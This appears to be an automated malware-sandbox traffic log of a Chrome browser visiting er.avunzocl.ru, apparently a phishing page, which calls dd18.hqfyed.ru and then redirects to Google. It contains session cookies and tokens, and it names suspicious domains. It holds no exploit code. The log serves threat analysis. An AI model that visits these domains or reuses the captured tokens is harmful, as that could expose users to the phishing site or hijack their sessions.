Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://er.avunzocl.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://er.avunzocl.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://er.avunzocl.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://er.avunzocl.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://er.avunzocl.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=Rzbk1LQLlmsQyAyD1SoEN6UhN22uHMU98Mf97vsYgWg-1742495631-1.0.1.1-jq_cd0mLW6j.XztmNOIyIhyjKwT6TOGmvvuuOf22rMtxSLvUiCckvuAo.OQJY5JADaxq2xIPvqn6rSz0zyW7jvGnVUkoVfgRm0izRN1x3gw
Source: global traffic	HTTP traffic detected: GET /kabutar$ds6t5 HTTP/1.1Host: dd18.hqfyed.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://er.avunzocl.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://er.avunzocl.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kabutar$ds6t5 HTTP/1.1Host: dd18.hqfyed.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tvajiBy7onsdzkhneurSzR51zrCamRMKZht6szjonmim HTTP/1.1Host: er.avunzocl.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhlK25VT3d3MkU1RjBXSjNzZGowUWc9PSIsInZhbHVlIjoiVkVmUXpJUW5pOWIxcnZnVnNVTHFsVCtKcEZOQ3ZhZEpZY2JtMlZpOXJTOFNJNlJzUnU4SWFxdWNKd2svYVFEWk44dkhzMnF6T1ZETDd0Mjl3UUVIaGc4dFA2SWpPK3NoQUV0UCtMVE1ZSnhOQ0pJSEFCdGtjOWVNaERiSjNvUzMiLCJtYWMiOiI0ODM3NWU5OThlY2FhYWU3MGVhN2YxNjAxMDE5MTE1YTkzYzcwZGQxNDgwOGZjMDJlNDM5ZjFjMTUzMDQ3ZjBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ikh5Z3o1VHRFVGtaR3B2Y2dnY0Npdmc9PSIsInZhbHVlIjoieWhDZUpqTTZhQ1JiTjlGcFFOcHcxOVA0K285bXFncUZpb0ZJdXduN2lXYWcrRFVvMmprMXJkVXZpTWhqV2N1Z01wQVdnUTdRc0U2K2lKN0tXK09IUWg2d2xSUWhCZlpSMjIwOUhZMTBybWdkcFNKNExMcXV1VG9QSTVCSk91Rm0iLCJtYWMiOiJkNTQyODI2YTE0ZDM3ZTZkNDg5ZDZmZDJjMzc0ODJiYzZhMGQ3OTJlOWY5YWRjYWU2OGMzNTcyNGFmMTg2YTE2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /hhtc/ HTTP/1.1Host: er.avunzocl.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://er.avunzocl.ru/hhtc/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhlK25VT3d3MkU1RjBXSjNzZGowUWc9PSIsInZhbHVlIjoiVkVmUXpJUW5pOWIxcnZnVnNVTHFsVCtKcEZOQ3ZhZEpZY2JtMlZpOXJTOFNJNlJzUnU4SWFxdWNKd2svYVFEWk44dkhzMnF6T1ZETDd0Mjl3UUVIaGc4dFA2SWpPK3NoQUV0UCtMVE1ZSnhOQ0pJSEFCdGtjOWVNaERiSjNvUzMiLCJtYWMiOiI0ODM3NWU5OThlY2FhYWU3MGVhN2YxNjAxMDE5MTE1YTkzYzcwZGQxNDgwOGZjMDJlNDM5ZjFjMTUzMDQ3ZjBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ikh5Z3o1VHRFVGtaR3B2Y2dnY0Npdmc9PSIsInZhbHVlIjoieWhDZUpqTTZhQ1JiTjlGcFFOcHcxOVA0K285bXFncUZpb0ZJdXduN2lXYWcrRFVvMmprMXJkVXZpTWhqV2N1Z01wQVdnUTdRc0U2K2lKN0tXK09IUWg2d2xSUWhCZlpSMjIwOUhZMTBybWdkcFNKNExMcXV1VG9QSTVCSk91Rm0iLCJtYWMiOiJkNTQyODI2YTE0ZDM3ZTZkNDg5ZDZmZDJjMzc0ODJiYzZhMGQ3OTJlOWY5YWRjYWU2OGMzNTcyNGFmMTg2YTE2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: er.avunzocl.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://er.avunzocl.ru/hhtc/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im1TcWxHaFFRWUxHNWgrZnZ4NkZHeXc9PSIsInZhbHVlIjoiVUtXdThtRmh4OUxuZURTMHVZbkpqYXFNYkM0U2IxM2NJekU2TTgycnVUWTBueVZFZmZ4UmY0aXZtd1R2VFFVYjNCNE5IbmNIcDA0bW56cFNENnV0Ull0eXJQd1piRmZpdXZlT1RjK1pwK09iV0dja096eXRZMVFLd2N5a040UjUiLCJtYWMiOiJmYzVjMDVkOWFjNTZhMDAzMmQxYTIwZDhiOTczNDdmYzZlYmMyMDAxNzk1ZWRkODMzZWVjMmNmYjc0OWY5NzBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkRFM2p6a01kVzNwRTR4cEQwaDhTY2c9PSIsInZhbHVlIjoiZXdzdmdjNUNBeWxwLzdLSHlHcWhWc0hrdjRZbFhpZ0t0MkI4ckFmY3cyWlZRdHRCMmZLNS9uZ0pXdjhnT1Evc2sxUU9LZTNyUXdSTytOTUdsQWFwd2svREx0Z05PYnJmTVpqVCthSG5Pa1JVTEx1Mnd0SXppMGU5eGlvbldPNWoiLCJtYWMiOiIwZTVlMWFkYTBlMTVhNDg0MGEwODk5NDlmMWY3NjkzMTA1MDEwYzdiZWEwMjJkN2FlZTVlM2I2Y2ZhYzE4ZjE3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.google.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Browser-Channel: stableX-Browser-Year: 2025X-Browser-Validation: wTKGXmLo+sPWz1JKKbFzUyHly1Q=X-Browser-Copyright: Copyright 2025 Google LLC. All rights reserved.X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://er.avunzocl.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /xjs/_/ss/k=xjs.hd.3UF5emn0zs8.L.B1.O/am=CFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAARkJwAAAIAgADsAAgAAAgABAAAAAAEEAAAABEAAICEAAAYQAAAgAABgAgASAAgAAAACUxoAAAEAGAAAHAABIAEAACgAAACQAAAAAAAAAAIAAAACAAEw0BAQFUApABAAIAAIBAAABAAAGAKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAAAAsADAYYQAEAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAQAEAAAAAAAAAAAAAAAAAAAAC/d=1/ed=1/br=1/rs=ACT90oFzVuhg8QPjSVAuF9eHRNKrML12nw/m=cdos,hsm,jsa,mb4ZUb,cEt90b,SNUn3,qddgKe,sTsDMc,dtl0hd,eHDfl,YV5bee,d,csi HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 0.4sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 300sec-ch-ua-platform-version: "10.0.0"Accept: text/css,/;q=0.1X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
Source: global traffic	HTTP traffic detected: GET /xjs/_/js/k=xjs.hd.en.VHBQ7i1oX2g.es5.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAkEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho/d=1/ed=1/dg=3/br=1/rs=ACT90oFgtGTLIu-tSSGYCTCEbsdpabFYhw/ee=ALeJib:B8gLwd;AfeaP:TkrAjf;BgS6mb:fidj5d;BjwMce:cXX2Wb;CxXAWb:YyRLvc;DMzTfb:fNTHad;DULqB:RKfG5c;Dkk6ge:JZmW9e;DpcR3d:zL72xf;EABSZ:MXZt9d;ESrPQc:mNTJvc;EVNhjf:pw70Gc;EjXHpb:pSHqh;EnlcNd:WeHg4;F9mqte:UoRcbe;G0KhTb:LIaoZ;G6wU6e:hezEbd;GleZL:J1A7Od;HMDDWe:G8QUdb;HoYVKb:PkDN7e;HqeXPd:cmbnH;IBADCc:RYquRb;IoGlCf:b5lhvb;JXJSm:ii1RGf;JXS8fb:Qj0suc;JbMT3:M25sS;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;KOxcK:OZqGte;KQzWid:ZMKkN;KcokUb:KiuZBf;KpRAue:Tia57b;LEikZe:byfTOb,lsjVmc;LXA8b:q7OdKd;LsNahb:ucGLNb;Me32dd:MEeYgc;Np8Qkd:Dpx6qc;Nyt6ic:jn2sGd;OgagBe:cNTe0;OohIYe:mpEAQb;Pjplud:EEDORb,PoEs9b;PpTLXd:pJYjx;Q6C5kf:pfdZCe;QGR0gd:Mlhmy;Qw8Feb:jpavUe;R2kc8b:ALJqWb;R9Ulx:CR7Ufe;RCF5Sd:X1kBmd;RDNBlf:zPRCJb;SLtqO:Kh1xYe;SMDL4c:fTfGO,fTfGO;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb,e7Hzgb;ShpF6e:N0pvGc;SwCqAd:fXbCZc;SzQQ3e:dNhofb;TroZ1d:vVVzjb;TxfV6d:YORN0b;U96pRd:FsR04;UDrY1c:eps46d;UVmjEd:EesRsb;UVzb9c:IvPZ6d;Uvc8o:VDovNc;UyG7Kb:wQd0G;V2HTTe:RolTY;VGRfx:VFqbr;VN6jIc:ddQyuf;VOcgDe:YquhTb;VhA7bd:vAmQFf;VsAqSb:PGf2Re;WCEKNd:I46Hvd;WDGyFe:jcVOxd;Wfmdue:g3MJlb;YIZmRd:A1yn5d;YV5bee:IvPZ6d;ZSH6tc:QAvyLe;ZWEUA:afR4Cf;ZlOOMb:P0I0Ec;a56pNe:JEfCwb;aAJE9c:WHW6Ef;aCJ9tf:qKftvc;aZ61od:arTwJ;af0EJf:ghinId;bDXwRe:UsyOtc;bcPXSc:gSZLJb;cEt90b:ws9Tlc;cFTWae:gT8qnd;coJ8e:KvoW8;dIoSBb:ZgGg9b;dLlj2:Qqt3Gf;dowIGb:ebZ3mb,ebZ3mb;dtl0hd:lLQWFe;eBAeSb:Ck63tb;eBZ5Nd:audvde;eHDfl:ofjVkb;eO3lse:nFClrf;euOXY:OZjbQ;g8nkx:U4MzKc;gaub4:TN6bMe;gtVSi:ekUOYd;h3MYod:iAmrSd;heHB1:sFczq;hjRo6e:F62sG;hlqGX:FWz1ic;hsLsYc:Vl118;hwoVHd:zw4U8c;imqimf:jKGL2e;iySzae:a6xXfd;jY0zg:Q6tNgc;k2Qxcb:XY51pe;kCQyJ:ueyPK;lOO0Vd:OTA3Ae;lbfkyf:MqGdUd;nJw4Gd:dPFZH;oSUNyd:fTfGO,fTfGO;oUlnpc:RagDlc;okUaUd:wItadb;pKJiXd:VCenhc;pNsl2d:j9Yuyc;pXdRYb:JKoKVe;pj82le:ww04Df;qZx2Fc:j0xrE;qaS3gd:yiLg6e;qafBPd:sgY6Zb,yDVVkb;qavrXe:zQzcXe;qddgKe:d7YSfd,x4FYXe;rQSrae:C6D5Fc;rdexKf:FEkKD;sTsDMc:kHVSUb;sZmdvc:rdGEfc;slIQ5d:pnOULd;tH4IIe:Ymry6;tosKvd:ZCqP3;trZL0b:qY8PFe;uuQkY:u2V3ud;vEYCNb:FaqsVd;vGrMZ:lPJJ0c;vfVwPd:lcrkwe;w3bZCb:ZPGaIb;w4rSdf:XKiZ9;w9w86d:dt4g2b;wQlYve:aLUfP;wR5FRb:TtcOte;wV5Pjc:L8KGxe;xBbsrc:NEW1Qc;ysNiMc:CpIBjd;z97YGf:oug9te;zOsCQe:Ko78Df;zaIgPb:Qtpxbd/m=cdos,hsm,jsa,mb4ZUb,cEt90b,SNUn3,qddgKe,sTsDMc,dtl0hd,eHDfl,YV5bee,d,csi HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 0.4sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec
Source: global traffic	HTTP traffic detected: GET /logos/doodles/2025/mens-college-basketball-tournament-first-round-2025-6753651837110662.2-6752733080620936-cst.gif HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 0.4sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 300sec-ch-ua-platform-version: "10.0.0"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
Source: global traffic	HTTP traffic detected: GET /async/hpba?yv=3&cs=0&ei=pF_cZ7LvOfKGptQP2o684AU&async=_basejs:/xjs/_/js/k%3Dxjs.hd.en.VHBQ7i1oX2g.es5.O/am%3DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAgEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEAAAQAAAAAAAAAAAAAAAABKmlho/dg%3D0/br%3D1/rs%3DACT90oFI843KH_skkA3LMEIA-jaywe7UZQ,_basecss:/xjs/_/ss/k%3Dxjs.hd.3UF5emn0zs8.L.B1.O/am%3DCFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAARkJwAAAIAgADsAAgAAAgABAAAAAAEEAAAABEAAICEAAAYQAAAgAABgAgASAAgAAAACUxoAAAEAGAAAHAABIAEAACgAAACQAAAAAAAAAAIAAAACAAEw0BAQFUApABAAIAAIBAAABAAAGAKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAAAAsADAYYQAEAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAQAEAAAAAAAAAAAAAAAAAAAAC/br%3D1/rs%3DACT90oFzVuhg8QPjSVAuF9eHRNKrML12nw,_basecomb:/xjs/_/js/k%3Dxjs.hd.en.VHBQ7i1oX2g.es5.O/ck%3Dxjs.hd.3UF5emn0zs8.L.B1.O/am%3DCFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAR1JwAAAIAoADsAAgAAAgABAMAIAAkEAAABBEAAMCEAAAYYAAAgAABgAgASIAjAo4wCUxokAAEAGAAAHHABIAkQACgAAACQAAAAAAIAAAIAAAACAAEw0BAQFUApABAAMAAIBAAARAAAGEKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAIAAsADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho/d%3D1/ed%3D1/dg%3D0/br%3D1/ujg%3D1/rs%3DACT90oGkziwljBCqPtF7zkxsImG3IkkszQ,_fmt:prog,_id:_pF_cZ7LvOfKGptQP2o684AU_8&sp_imghp=false&sp_hpep=2&sp_hpte=0&vet=10ahUKEwiy0aqTppmMAxVyg4kEHVoHD1wQj-0KCBY..i HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 0.4sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 300sec-ch-ua-platform-version: "10.0.0"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
Source: global traffic	HTTP traffic detected: GET /images/searchbox/desktop_searchbox_sprites318_hr.webp HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 0.4sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 300sec-ch-ua-platform-version: "10.0.0"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
